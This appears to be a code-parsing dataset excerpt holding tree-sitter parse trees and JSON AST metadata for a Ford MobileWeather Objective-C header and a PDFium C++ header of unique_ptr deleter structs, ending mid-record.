(translation_unit) "//\n// MainViewController.h\n// MobileWeather\n//\n// Copyright (c) 2013-2015 Ford Motor Company. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface MainViewController : UIViewController\n\n@end\n" (comment) "//" (comment) "// MainViewController.h" (comment) "// MobileWeather" (comment) "//" (comment) "// Copyright (c) 2013-2015 Ford Motor Company. All rights reserved." (comment) "//" (preproc_call) "#import <UIKit/UIKit.h>\n" (preproc_directive) "#import" (preproc_arg) "<UIKit/UIKit.h>" (ERROR) "@interface MainViewController : UIViewController\n\n@end" (ERROR) "@" (type_identifier) "interface" (identifier) "MainViewController" (:) ":" (identifier) "UIViewController" (ERROR) "@" (identifier) "end"
18
3
{"language": "c", "success": true, "metadata": {"lines": 9, "avg_line_length": 21.11, "nodes": 9, "errors": 0, "source_hash": "03c00e1171859025e222d8a9d2c480204274bfbcfbbde482a11098417488e287", "categorized_nodes": 4}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <UIKit/UIKit.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "<UIKit/UIKit.h>", "parent": 0, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 23}}, {"id": 3, "type": "ERROR", "text": "@interface MainViewController : UIViewController\n\n@end", "parent": null, "children": [4, 5, 6, 7, 8], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 11, "column": 4}}, {"id": 4, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 1}}, {"id": 5, "type": "type_identifier", "text": "interface", "parent": 3, "children": [], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 9, "column": 10}}, {"id": 6, "type": "identifier", "text": "MainViewController", "parent": 3, "children": [], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 29}}, {"id": 7, "type": "identifier", "text": "UIViewController", "parent": 3, "children": [], "start_point": {"row": 9, "column": 32}, "end_point": {"row": 9, "column": 48}}, {"id": 8, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 1}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [5, 6, 7], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// MainViewController.h\n// MobileWeather\n//\n// Copyright (c) 2013-2015 Ford Motor Company. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface MainViewController : UIViewController\n\n@end\n"}
81,187
c
// Copyright 2017 PDFium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef PUBLIC_CPP_FPDF_DELETERS_H_ #define PUBLIC_CPP_FPDF_DELETERS_H_ #include "public/fpdf_annot.h" #include "public/fpdf_dataavail.h" #include "public/fpdf_edit.h" #include "public/fpdf_formfill.h" #include "public/fpdf_structtree.h" #include "public/fpdf_text.h" #include "public/fpdf_transformpage.h" #include "public/fpdfview.h" // Custom deleters for using FPDF_* types with std::unique_ptr<>. struct FPDFAnnotationDeleter { inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); } }; struct FPDFAvailDeleter { inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); } }; struct FPDFBitmapDeleter { inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); } }; struct FPDFClipPathDeleter { inline void operator()(FPDF_CLIPPATH clip_path) { FPDF_DestroyClipPath(clip_path); } }; struct FPDFDocumentDeleter { inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); } }; struct FPDFFontDeleter { inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); } }; struct FPDFFormHandleDeleter { inline void operator()(FPDF_FORMHANDLE form) { FPDFDOC_ExitFormFillEnvironment(form); } }; struct FPDFPageDeleter { inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); } }; struct FPDFPageLinkDeleter { inline void operator()(FPDF_PAGELINK pagelink) { FPDFLink_CloseWebLinks(pagelink); } }; struct FPDFPageObjectDeleter { inline void operator()(FPDF_PAGEOBJECT object) { FPDFPageObj_Destroy(object); } }; struct FPDFStructTreeDeleter { inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); } }; struct FPDFTextFindDeleter { inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); } }; struct FPDFTextPageDeleter { inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); } }; #endif // PUBLIC_CPP_FPDF_DELETERS_H_
32.11
62
(translation_unit) "// Copyright 2017 PDFium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef PUBLIC_CPP_FPDF_DELETERS_H_\n#define PUBLIC_CPP_FPDF_DELETERS_H_\n\n#include "public/fpdf_annot.h"\n#include "public/fpdf_dataavail.h"\n#include "public/fpdf_edit.h"\n#include "public/fpdf_formfill.h"\n#include "public/fpdf_structtree.h"\n#include "public/fpdf_text.h"\n#include "public/fpdf_transformpage.h"\n#include "public/fpdfview.h"\n\n// Custom deleters for using FPDF_* types with std::unique_ptr<>.\n\nstruct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }\n};\n\nstruct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }\n};\n\nstruct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }\n};\n\nstruct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }\n};\n\nstruct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }\n};\n\nstruct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }\n};\n\nstruct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }\n};\n\nstruct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }\n};\n\nstruct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }\n};\n\nstruct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }\n};\n\nstruct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }\n};\n\nstruct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }\n};\n\nstruct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }\n};\n\n#endif // PUBLIC_CPP_FPDF_DELETERS_H_\n" (comment) "// Copyright 2017 PDFium Authors. All rights reserved." (comment) "// Use of this source code is governed by a BSD-style license that can be" (comment) "// found in the LICENSE file." (preproc_ifdef) "#ifndef PUBLIC_CPP_FPDF_DELETERS_H_\n#define PUBLIC_CPP_FPDF_DELETERS_H_\n\n#include "public/fpdf_annot.h"\n#include "public/fpdf_dataavail.h"\n#include "public/fpdf_edit.h"\n#include "public/fpdf_formfill.h"\n#include "public/fpdf_structtree.h"\n#include "public/fpdf_text.h"\n#include "public/fpdf_transformpage.h"\n#include "public/fpdfview.h"\n\n// Custom deleters for using FPDF_* types with std::unique_ptr<>.\n\nstruct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }\n};\n\nstruct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }\n};\n\nstruct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }\n};\n\nstruct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }\n};\n\nstruct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }\n};\n\nstruct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }\n};\n\nstruct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }\n};\n\nstruct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }\n};\n\nstruct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }\n};\n\nstruct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }\n};\n\nstruct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }\n};\n\nstruct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }\n};\n\nstruct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }\n};\n\n#endif" (#ifndef) "#ifndef" (identifier) "PUBLIC_CPP_FPDF_DELETERS_H_" (preproc_def) "#define PUBLIC_CPP_FPDF_DELETERS_H_\n" (#define) "#define" (identifier) "PUBLIC_CPP_FPDF_DELETERS_H_" (preproc_include) "#include "public/fpdf_annot.h"\n" (#include) "#include" (string_literal) ""public/fpdf_annot.h"" (") """ (string_content) "public/fpdf_annot.h" (") """ (preproc_include) "#include "public/fpdf_dataavail.h"\n" (#include) "#include" (string_literal) ""public/fpdf_dataavail.h"" (") """ (string_content) "public/fpdf_dataavail.h" (") """ (preproc_include) "#include "public/fpdf_edit.h"\n" (#include) "#include" (string_literal) ""public/fpdf_edit.h"" (") """ (string_content) "public/fpdf_edit.h" (") """ (preproc_include) "#include "public/fpdf_formfill.h"\n" (#include) "#include" (string_literal) ""public/fpdf_formfill.h"" (") """ (string_content) "public/fpdf_formfill.h" (") """ (preproc_include) "#include "public/fpdf_structtree.h"\n" (#include) "#include" (string_literal) ""public/fpdf_structtree.h"" (") """ (string_content) "public/fpdf_structtree.h" (") """ (preproc_include) "#include "public/fpdf_text.h"\n" (#include) "#include" (string_literal) ""public/fpdf_text.h"" (") """ (string_content) "public/fpdf_text.h" (") """ (preproc_include) "#include "public/fpdf_transformpage.h"\n" (#include) "#include" (string_literal) ""public/fpdf_transformpage.h"" (") """ (string_content) "public/fpdf_transformpage.h" (") """ (preproc_include) "#include "public/fpdfview.h"\n" (#include) "#include" (string_literal) ""public/fpdfview.h"" (") """ (string_content) "public/fpdfview.h" (") """ (comment) "// Custom deleters for using FPDF_* types with std::unique_ptr<>." (struct_specifier) "struct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }" (struct) "struct" (type_identifier) "FPDFAnnotationDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }" ({) "{" (field_declaration) "inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_ANNOTATION annot) {" (function_declarator) "operator()(FPDF_ANNOTATION annot)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_ANNOTATION annot)" (() "(" (parameter_declaration) "FPDF_ANNOTATION annot" (type_identifier) "FPDF_ANNOTATION" (identifier) "annot" ()) ")" ({) "{" (function_declarator) "FPDFPage_CloseAnnot(annot)" (field_identifier) "FPDFPage_CloseAnnot" (parameter_list) "(annot)" (() "(" (parameter_declaration) "annot" (type_identifier) "annot" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }" (struct) "struct" (type_identifier) "FPDFAvailDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }" ({) "{" (field_declaration) "inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_AVAIL avail) {" (function_declarator) "operator()(FPDF_AVAIL avail)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_AVAIL avail)" (() "(" (parameter_declaration) "FPDF_AVAIL avail" (type_identifier) "FPDF_AVAIL" (identifier) "avail" ()) ")" ({) "{" (function_declarator) "FPDFAvail_Destroy(avail)" (field_identifier) "FPDFAvail_Destroy" (parameter_list) "(avail)" (() "(" (parameter_declaration) "avail" (type_identifier) "avail" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }" (struct) "struct" (type_identifier) "FPDFBitmapDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }" ({) "{" (field_declaration) "inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_BITMAP bitmap) {" (function_declarator) "operator()(FPDF_BITMAP bitmap)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_BITMAP bitmap)" (() "(" (parameter_declaration) "FPDF_BITMAP bitmap" (type_identifier) "FPDF_BITMAP" (identifier) "bitmap" ()) ")" ({) "{" (function_declarator) "FPDFBitmap_Destroy(bitmap)" (field_identifier) "FPDFBitmap_Destroy" (parameter_list) "(bitmap)" (() "(" (parameter_declaration) "bitmap" (type_identifier) "bitmap" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }" (struct) "struct" (type_identifier) "FPDFClipPathDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }" ({) "{" (field_declaration) "inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_CLIPPATH clip_path) {" (function_declarator) "operator()(FPDF_CLIPPATH clip_path)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_CLIPPATH clip_path)" (() "(" (parameter_declaration) "FPDF_CLIPPATH clip_path" (type_identifier) "FPDF_CLIPPATH" (identifier) "clip_path" ()) ")" ({) "{" (function_declarator) "FPDF_DestroyClipPath(clip_path)" (field_identifier) "FPDF_DestroyClipPath" (parameter_list) "(clip_path)" (() "(" (parameter_declaration) "clip_path" (type_identifier) "clip_path" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }" (struct) "struct" (type_identifier) "FPDFDocumentDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }" ({) "{" (field_declaration) "inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_DOCUMENT doc) {" (function_declarator) "operator()(FPDF_DOCUMENT doc)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_DOCUMENT doc)" (() "(" (parameter_declaration) "FPDF_DOCUMENT doc" (type_identifier) "FPDF_DOCUMENT" (identifier) "doc" ()) ")" ({) "{" (function_declarator) "FPDF_CloseDocument(doc)" (field_identifier) "FPDF_CloseDocument" (parameter_list) "(doc)" (() "(" (parameter_declaration) "doc" (type_identifier) "doc" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }" (struct) "struct" (type_identifier) "FPDFFontDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }" ({) "{" (field_declaration) "inline void operator()(FPDF_FONT font) { FPDFFont_Close(font);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_FONT font) {" (function_declarator) "operator()(FPDF_FONT font)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_FONT font)" (() "(" (parameter_declaration) "FPDF_FONT font" (type_identifier) "FPDF_FONT" (identifier) "font" ()) ")" ({) "{" (function_declarator) "FPDFFont_Close(font)" (field_identifier) "FPDFFont_Close" (parameter_list) "(font)" (() "(" (parameter_declaration) "font" (type_identifier) "font" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }" (struct) "struct" (type_identifier) "FPDFFormHandleDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }" ({) "{" (field_declaration) "inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_FORMHANDLE form) {" (function_declarator) "operator()(FPDF_FORMHANDLE form)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_FORMHANDLE form)" (() "(" (parameter_declaration) "FPDF_FORMHANDLE form" (type_identifier) "FPDF_FORMHANDLE" (identifier) "form" ()) ")" ({) "{" (function_declarator) "FPDFDOC_ExitFormFillEnvironment(form)" (field_identifier) "FPDFDOC_ExitFormFillEnvironment" (parameter_list) "(form)" (() "(" (parameter_declaration) "form" (type_identifier) "form" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }" (struct) "struct" (type_identifier) "FPDFPageDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }" ({) "{" (field_declaration) "inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_PAGE page) {" (function_declarator) "operator()(FPDF_PAGE page)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_PAGE page)" (() "(" (parameter_declaration) "FPDF_PAGE page" (type_identifier) "FPDF_PAGE" (identifier) "page" ()) ")" ({) "{" (function_declarator) "FPDF_ClosePage(page)" (field_identifier) "FPDF_ClosePage" (parameter_list) "(page)" (() "(" (parameter_declaration) "page" (type_identifier) "page" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }" (struct) "struct" (type_identifier) "FPDFPageLinkDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }" ({) "{" (field_declaration) "inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_PAGELINK pagelink) {" (function_declarator) "operator()(FPDF_PAGELINK pagelink)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_PAGELINK pagelink)" (() "(" (parameter_declaration) "FPDF_PAGELINK pagelink" (type_identifier) "FPDF_PAGELINK" (identifier) "pagelink" ()) ")" ({) "{" (function_declarator) "FPDFLink_CloseWebLinks(pagelink)" (field_identifier) "FPDFLink_CloseWebLinks" (parameter_list) "(pagelink)" (() "(" (parameter_declaration) "pagelink" (type_identifier) "pagelink" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }" (struct) "struct" (type_identifier) "FPDFPageObjectDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }" ({) "{" (field_declaration) "inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_PAGEOBJECT object) {" (function_declarator) "operator()(FPDF_PAGEOBJECT object)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_PAGEOBJECT object)" (() "(" (parameter_declaration) "FPDF_PAGEOBJECT object" (type_identifier) "FPDF_PAGEOBJECT" (identifier) "object" ()) ")" ({) "{" (function_declarator) "FPDFPageObj_Destroy(object)" (field_identifier) "FPDFPageObj_Destroy" (parameter_list) "(object)" (() "(" (parameter_declaration) "object" (type_identifier) "object" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }" (struct) "struct" (type_identifier) "FPDFStructTreeDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }" ({) "{" (field_declaration) "inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_STRUCTTREE tree) {" (function_declarator) "operator()(FPDF_STRUCTTREE tree)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_STRUCTTREE tree)" (() "(" (parameter_declaration) "FPDF_STRUCTTREE tree" (type_identifier) "FPDF_STRUCTTREE" (identifier) "tree" ()) ")" ({) "{" (function_declarator) "FPDF_StructTree_Close(tree)" (field_identifier) "FPDF_StructTree_Close" (parameter_list) "(tree)" (() "(" (parameter_declaration) "tree" (type_identifier) "tree" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }" (struct) "struct" (type_identifier) "FPDFTextFindDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }" ({) "{" (field_declaration) "inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_SCHHANDLE handle) {" (function_declarator) "operator()(FPDF_SCHHANDLE handle)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_SCHHANDLE handle)" (() "(" (parameter_declaration) "FPDF_SCHHANDLE handle" (type_identifier) "FPDF_SCHHANDLE" (identifier) "handle" ()) ")" ({) "{" (function_declarator) "FPDFText_FindClose(handle)" (field_identifier) "FPDFText_FindClose" (parameter_list) "(handle)" (() "(" (parameter_declaration) "handle" (type_identifier) "handle" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (struct_specifier) "struct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }" (struct) "struct" (type_identifier) "FPDFTextPageDeleter" (field_declaration_list) "{\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }" ({) "{" (field_declaration) "inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text);" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (ERROR) "operator()(FPDF_TEXTPAGE text) {" (function_declarator) "operator()(FPDF_TEXTPAGE text)" (function_declarator) "operator()" (field_identifier) "operator" (parameter_list) "()" (() "(" ()) ")" (parameter_list) "(FPDF_TEXTPAGE text)" (() "(" (parameter_declaration) "FPDF_TEXTPAGE text" (type_identifier) "FPDF_TEXTPAGE" (identifier) "text" ()) ")" ({) "{" (function_declarator) "FPDFText_ClosePage(text)" (field_identifier) "FPDFText_ClosePage" (parameter_list) "(text)" (() "(" (parameter_declaration) "text" (type_identifier) "text" ()) ")" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (#endif) "#endif" (comment) "// PUBLIC_CPP_FPDF_DELETERS_H_"
516
26
{"language": "c", "success": true, "metadata": {"lines": 62, "avg_line_length": 32.11, "nodes": 304, "errors": 0, "source_hash": "b66d237326d39281d969a6913a2c7cd479e8afbe44d8ec8276c162b0ee901b8d", "categorized_nodes": 224}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef PUBLIC_CPP_FPDF_DELETERS_H_\n#define PUBLIC_CPP_FPDF_DELETERS_H_\n\n#include \"public/fpdf_annot.h\"\n#include \"public/fpdf_dataavail.h\"\n#include \"public/fpdf_edit.h\"\n#include \"public/fpdf_formfill.h\"\n#include \"public/fpdf_structtree.h\"\n#include \"public/fpdf_text.h\"\n#include \"public/fpdf_transformpage.h\"\n#include \"public/fpdfview.h\"\n\n// Custom deleters for using FPDF_* types with std::unique_ptr<>.\n\nstruct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }\n};\n\nstruct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }\n};\n\nstruct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }\n};\n\nstruct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }\n};\n\nstruct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }\n};\n\nstruct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }\n};\n\nstruct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }\n};\n\nstruct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }\n};\n\nstruct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }\n};\n\nstruct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }\n};\n\nstruct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }\n};\n\nstruct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }\n};\n\nstruct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }\n};\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 51, 72, 93, 114, 135, 156, 177, 198, 219, 240, 261, 282, 303], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 78, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "PUBLIC_CPP_FPDF_DELETERS_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 35}}, {"id": 3, "type": "preproc_def", "text": "#define PUBLIC_CPP_FPDF_DELETERS_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "PUBLIC_CPP_FPDF_DELETERS_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 35}}, {"id": 